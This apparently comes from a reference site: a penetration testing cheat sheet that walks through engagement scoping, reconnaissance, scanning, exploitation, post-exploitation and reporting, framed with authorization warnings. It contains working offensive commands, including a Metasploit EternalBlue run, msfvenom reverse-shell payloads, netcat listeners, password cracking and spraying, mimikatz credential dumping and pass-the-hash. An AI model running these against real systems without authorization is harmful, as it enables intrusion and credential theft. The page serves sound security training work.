← all cheat sheets
OPERATOR REFERENCE · VA / PENETRATION TESTING
Vulnerability Assessment & Penetration Testing
Scope · Recon · Scan · Exploit · Post-Ex · Report
the engagement lifecycle, the toolkit, and the discipline — one page, authorization-first
⚠ AUTHORIZATION FIRST. Every technique below is for authorized testing only — engagements with a signed scope/Rules of Engagement, your own lab, or a CTF/permission-based range. Scanning, enumerating, or exploiting systems you don't own or have written permission to test is illegal in most jurisdictions (e.g. CFAA, Computer Misuse Act) regardless of intent. Get the scope in writing before the first packet.
Scope note: tool syntax targets current Kali/Parrot builds; flags and plugin/CVE data drift over time — VERIFY against --help and your engagement's Rules of Engagement. VA ≠ pentest: a vulnerability assessment enumerates and rates weaknesses; a penetration test proves exploitability and impact. Know which one you were contracted to deliver.
SCOPE · authorization / RoE
recon
ATTACK · scan / exploit / pivot
prove
REPORT · risk / remediation
01 Vulnerability Assessment vs Penetration Test
| Dimension | Vulnerability Assessment (VA) | Penetration Test (PT) |
|---|
| Goal | Find & rate as many weaknesses as possible (breadth) | Prove real-world exploitability & impact (depth) |
| Method | Mostly automated scanning + validation | Manual attacker tradecraft, chaining, creativity |
| Output | Prioritized finding list with CVSS ratings | Attack narrative, proof, business impact, remediation |
| False positives | Common — scanner infers from banners/versions | Removed — a finding is confirmed by exploitation |
| Cadence | Frequent / continuous (weekly, monthly) | Point-in-time (quarterly, annual, pre-release) |
| Answers | "What could be wrong here?" | "What can an attacker actually do?" |
Red team ≠ pentest either. A pentest is scoped & comprehensive against a target set; a red team is objective-driven and stealthy (test detection/response, not just find holes). Don't sell one as the other.
02 Engagement Lifecycle (PTES-aligned)
1/7
Scope, Rules of Engagement, target IP/domain list, test window, emergency contacts, "get-out-of-jail" letter, and explicit out-of-scope assets. Nothing starts until this is signed.
2/7
Passive first (OSINT, DNS, cert transparency — no packets to target), then active (host discovery). Build the attack surface picture before touching anything loud.
3/7
Port/service scan → version fingerprint → per-service enumeration (shares, users, endpoints). Depth here determines quality of everything downstream.
4/7
Turn a finding into access. Prefer the least-destructive path that proves impact. Log every action with timestamps for the report and for deconfliction.
5/7
Privilege escalation, credential harvesting, lateral movement, and demonstrating business impact (reach the "crown jewels" defined in scope) — not gratuitous damage.
6/7
Executive summary + technical detail, each finding with evidence, CVSS, business risk, and concrete remediation. The report is the deliverable — access was just how you earned it.
7/7
Remove all artifacts (payloads, accounts, shells), hand back changed state, and re-test after the client remediates to confirm the fix actually closed it.
PTES (this lifecycle), OWASP WSTG (web), OWASP MASTG (mobile), MITRE ATT&CK (map TTPs), NIST SP 800-115, OSSTMM. Reference them — it signals rigor.
03 Reconnaissance — Passive & Active
no traffic to target
whois example.com
dig example.com ANY +noall +answer
theHarvester -d example.com -b all
amass enum -passive -d example.com
Cert transparency (crt.sh), Shodan, Google dorks, LinkedIn for user naming conventions. Passive = attacker leaves no footprint on the target.
SE
Subdomain / Attack Surface
amass enum -d example.com
subfinder -d example.com -all
assetfinder example.com
httpx -l hosts.txt -title -tech-detect
Enumerate subdomains → probe which are alive → fingerprint tech stack. Shadow IT and forgotten dev hosts are where the wins usually are.
nmap -sn 10.10.10.0/24 # ping sweep
nmap -sn -PS22,80,443 10.10.10.0/24
fping -a -g 10.10.10.0/24 2>/dev/null
arp-scan --localnet # same L2
First active step — which hosts are up before you spend time port-scanning dead space. arp-scan is most reliable on a local segment.
04 Nmap — Port Scanning & Service Detection
| Purpose | Command | Notes |
|---|
| Fast top-1000 TCP | nmap 10.10.10.5 | Default SYN scan (needs root) — top 1000 ports |
| All TCP ports | nmap -p- 10.10.10.5 | Full 65535 — slower but complete; don't trust a top-1000 scan alone |
| Service + version | nmap -sV -sC 10.10.10.5 | -sV version detect, -sC default safe NSE scripts |
| OS + traceroute + scripts | nmap -A 10.10.10.5 | Aggressive — loud; combines OS detect, version, scripts, traceroute |
| UDP (top ports) | nmap -sU --top-ports 100 10.10.10.5 | Slow & unreliable but DNS/SNMP/TFTP live here — don't skip |
| Timing / stealthier | nmap -T2 -p- 10.10.10.5 | -T0..T5; lower = slower & quieter, higher = faster & noisier |
| Targeted NSE category | nmap --script vuln 10.10.10.5 | Runs known-vuln checks; --script-help <name> before you trust it |
| Output all formats | nmap -sV -oA scan 10.10.10.5 | -oA writes .nmap/.gnmap/.xml — feed XML into other tools |
Read state honestly: open service listening · filtered firewall dropped the probe (no verdict) · closed host up, nothing listening. "Filtered" is not "safe" — it means you couldn't see.
05 Service Enumeration — Per Protocol
enum4linux-ng -A 10.10.10.5
smbclient -L //10.10.10.5 -N
crackmapexec smb 10.10.10.5 -u '' -p ''
nmap --script smb-enum-shares,smb-os-discovery
Null sessions, share listing, OS/domain info, and signing status. Historically the richest internal enumeration surface.
whatweb http://10.10.10.5
nikto -h http://10.10.10.5
gobuster dir -u http://10.10.10.5 -w wordlist.txt
ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt
Fingerprint stack, spider for hidden dirs/files, check headers, robots.txt, backups (.bak, .git). See section 08 for the web app depth.
dig axfr @ns1.example.com example.com
dnsrecon -d example.com -t axfr
nmap --script dns-zone-transfer -p53 10.10.10.5
Zone transfer (AXFR) misconfig hands you the whole namespace. Also check for subdomain takeover on dangling CNAMEs.
onesixtyone -c community.txt 10.10.10.5
snmpwalk -v2c -c public 10.10.10.5
snmp-check 10.10.10.5
Default community strings (public/private) leak interfaces, routes, processes, sometimes credentials. UDP — easy to miss.
ldapsearch -x -H ldap://10.10.10.5 -s base
nmap --script ldap-rootdse -p389 10.10.10.5
bloodhound-python -d corp.local -u user -p pass -c all
Anonymous binds, naming context, and — with any creds — BloodHound to map AD attack paths to Domain Admin.
nc -nv 10.10.10.5 22 # banner
ftp 10.10.10.5 # try anonymous
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
Banner-grab versions, test anonymous FTP, SMTP user enumeration (VRFY/EXPN/RCPT). Match versions to known CVEs.
06 Vulnerability Scanning & Validation
Nessus / Tenable, Qualys, Rapid7 InsightVM (commercial); OpenVAS / Greenbone (open source). Run credentialed where possible — an authenticated scan inventories real patch state instead of guessing from banners.
NM
Nmap / Nuclei Quick Checks
nmap --script vuln 10.10.10.5
nuclei -u https://10.10.10.5 -t cves/
searchsploit apache 2.4.49
nuclei is fast, template-driven, low-noise. searchsploit maps a version to public exploit PoCs (offline Exploit-DB).
✓
Validate Before You Report
A scanner hit is a hypothesis. Confirm the version, confirm the config precondition, and — for a pentest — prove it. Unvalidated scanner output shipped as findings destroys credibility.
False positives are the #1 reason clients distrust a VA report. Triage every High/Critical by hand.
| CVSS v3.1 Band | Score | Typical SLA to remediate |
|---|
| Critical | 9.0 – 10.0 | Emergency — hours to a few days; often RCE / unauth |
| High | 7.0 – 8.9 | Days to ~2 weeks |
| Medium | 4.0 – 6.9 | ~30 days |
| Low | 0.1 – 3.9 | Next maintenance cycle / risk-accept |
Base score isn't the whole story. Adjust with Temporal (is there a public exploit? a patch?) and Environmental (is the asset internet-facing? does it hold sensitive data?) metrics — and cross-check CISA KEV for what's being exploited in the wild now.
07 Exploitation — Metasploit, Password Attacks, Payloads
msfconsole -q
search type:exploit smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 10.10.14.2
show options ; check ; exploit
check (where supported) tests exploitability without firing — prefer it before a live shot on production. Use set PAYLOAD to pick meterpreter vs a plain shell.
Exploits crash services. On production, get explicit sign-off for anything that can DoS, and have the client's rollback plan ready.
PW
Password / Credential Attacks
hydra -l admin -P rockyou.txt ssh://10.10.10.5
crackmapexec smb 10.10.10.5 -u users -p passwords
john --wordlist=rockyou.txt hashes.txt
hashcat -m 1000 ntlm.txt rockyou.txt # NTLM
Online (hydra/CME — rate-limited, lockout risk) vs offline (john/hashcat — crack captured hashes). Know the -m hash mode; check lockout policy before spraying.
Password spraying (1 password × many users) beats brute force for avoiding lockouts — but coordinate timing with the client.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.2 LPORT=443 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.10.14.2 LPORT=443 -f elf -o s.elf
Generate stand-alone payloads; catch with a multi/handler. Match arch/OS to the target. Port 443 blends with normal egress.
RS
Reverse Shells & Listeners
# listener
nc -lvnp 443
rlwrap nc -lvnp 443 # arrow keys/history
# stabilize a caught shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Then Ctrl-Z → stty raw -echo; fg → export TERM=xterm for a fully interactive TTY. See revshells.com for one-liners per language.
08 Web Application Testing (OWASP)
| OWASP Top 10 (2021) | What to Test | Tool / Technique |
|---|
| A01 Broken Access Control | IDOR, forced browsing, privilege bypass, missing authz | Burp — swap IDs/roles, replay another user's request |
| A02 Crypto Failures | Weak TLS, plaintext secrets, weak hashing | testssl.sh, sslscan |
| A03 Injection | SQLi, command, LDAP, NoSQL injection | sqlmap -u URL --batch, manual payloads |
| A04 Insecure Design | Logic flaws, missing rate limits, abuse cases | Manual — no scanner finds business-logic bugs |
| A05 Security Misconfig | Default creds, dir listing, verbose errors, headers | nikto, nuclei, header review |
| A06 Vulnerable Components | Outdated libs/frameworks with known CVEs | retire.js, dependency scan, version match |
| A07 Auth Failures | Weak passwords, session fixation, no MFA, JWT flaws | Burp Intruder, jwt_tool |
| A08 Integrity Failures | Insecure deserialization, unsigned updates, CI/CD | ysoserial, manual review |
| A09 Logging Failures | No audit trail, no alerting on attack traffic | Observe whether your noise triggers any response |
| A10 SSRF | Server fetches attacker-controlled URLs | Burp Collaborator / OOB interaction, internal probes |
Burp Suite is the web workhorse: intercepting proxy, Repeater (manual replay), Intruder (fuzzing/enum), and Collaborator (out-of-band). Follow the OWASP Web Security Testing Guide (WSTG) for full coverage. Manual review finds what scanners never will — logic and access-control flaws.
09 Post-Exploitation — PrivEsc, Loot, Lateral Movement
LX
Linux Privilege Escalation
id ; sudo -l ; uname -a
find / -perm -4000 2>/dev/null # SUID
./linpeas.sh
getcap -r / 2>/dev/null
Check sudo rights, SUID/SGID binaries, cron jobs, writable paths, kernel version. Cross-reference SUID binaries against GTFOBins for a known escalation.
WX
Windows Privilege Escalation
whoami /priv ; whoami /groups
.\winPEASany.exe
systeminfo # missing patches
# dump creds (with authorization)
mimikatz # sekurlsa::logonpasswords
Token privileges (SeImpersonate → potato attacks), unquoted service paths, AlwaysInstallElevated, stored creds. LSASS dumping is high-impact — expect EDR to flag it.
crackmapexec smb 10.10.10.0/24 -u u -H <hash>
evil-winrm -i 10.10.10.6 -u user -H <hash>
impacket-psexec corp/user@10.10.10.6
Pass-the-Hash, WinRM, PsExec. Map paths to Domain Admin with BloodHound before moving — pick the shortest, quietest route defined in scope.
ssh -D 1080 user@jumpbox # SOCKS proxy
proxychains nmap -sT 10.20.0.5
chisel server -p 8000 --reverse
ligolo-ng / sshuttle -r user@host 10.20.0.0/24
Reach segmented internal networks through a foothold. proxychains + a SOCKS proxy tunnels your tools through the compromised host.
10 Reporting — The Actual Deliverable
One page, no jargon, for leadership. Overall risk posture, count by severity, top 3 business risks, and whether objectives were met. They decide budget from this page.
Title, severity + CVSS vector, affected assets, reproduction steps, evidence (screenshots/output), impact, and specific remediation. Reproducible or it isn't a finding.
Rate by business impact × likelihood, not raw CVSS alone. A medium CVE on an internet-facing crown-jewel outranks a critical on an isolated lab box.
"Patch to 2.4.51", "disable SMBv1", "enforce parameterized queries" — concrete and testable, not "improve security posture". Include quick wins vs strategic fixes.
For a pentest: tell the chain story — initial foothold → escalation → lateral → objective. Shows how low-severity issues combined into a critical outcome.
After remediation, re-test and issue a delta/attestation letter confirming what's fixed vs outstanding — often the artifact compliance/audit actually wants.
11 Rules of Engagement & Safety Discipline
| Discipline | Why It Matters |
|---|
| Stay strictly in scope | One IP outside the authorized range can be a criminal act and voids the whole engagement's legal cover |
| Log everything, timestamped | For the report, for deconfliction if the SOC investigates your traffic, and to prove you didn't cause an unrelated outage |
| Get sign-off before DoS-risk actions | Exploits, brute force, and some scans crash services — never test a fragile production system's stability by accident |
| Protect data you access | You may touch real PII/secrets — handle per contract, encrypt findings, don't exfil more than needed to prove impact |
| Have an emergency contact + stop condition | If you cause an outage or find an active breach, you need a defined channel to halt and escalate immediately |
| Clean up every artifact | Shells, added accounts, uploaded tools, config changes — leaving these is the vulnerability you were hired to find |
| Handle "found a real breach" | RoE should define this up front — you may stumble on a genuine active attacker; know who to tell and when to stop |
12 Toolkit Quick Index
| Phase | Go-To Tools |
|---|
| Recon / OSINT | amass · subfinder · theHarvester · Shodan · crt.sh · httpx · dnsrecon |
| Scanning | nmap · masscan · nuclei · Nessus/OpenVAS · rustscan |
| Enumeration | enum4linux-ng · crackmapexec · smbclient · gobuster · ffuf · snmpwalk · ldapsearch |
| Web | Burp Suite · OWASP ZAP · sqlmap · nikto · wpscan · ffuf |
| Exploitation | Metasploit · msfvenom · searchsploit · Exploit-DB · hydra · john · hashcat |
| AD / Post-Ex | BloodHound · impacket · evil-winrm · mimikatz · linPEAS/winPEAS · GTFOBins |
| Pivoting | proxychains · chisel · ligolo-ng · sshuttle |
| Reporting | CVSS calculator · CISA KEV · Dradis · PlexTrac · SysReptor |
Distros: Kali Linux and Parrot OS ship most of the above. Practice legally: HackTheBox, TryHackMe, PortSwigger Web Security Academy, VulnHub, OWASP Juice Shop, and DVWA — your own lab or a permission-based range, never someone else's live estate.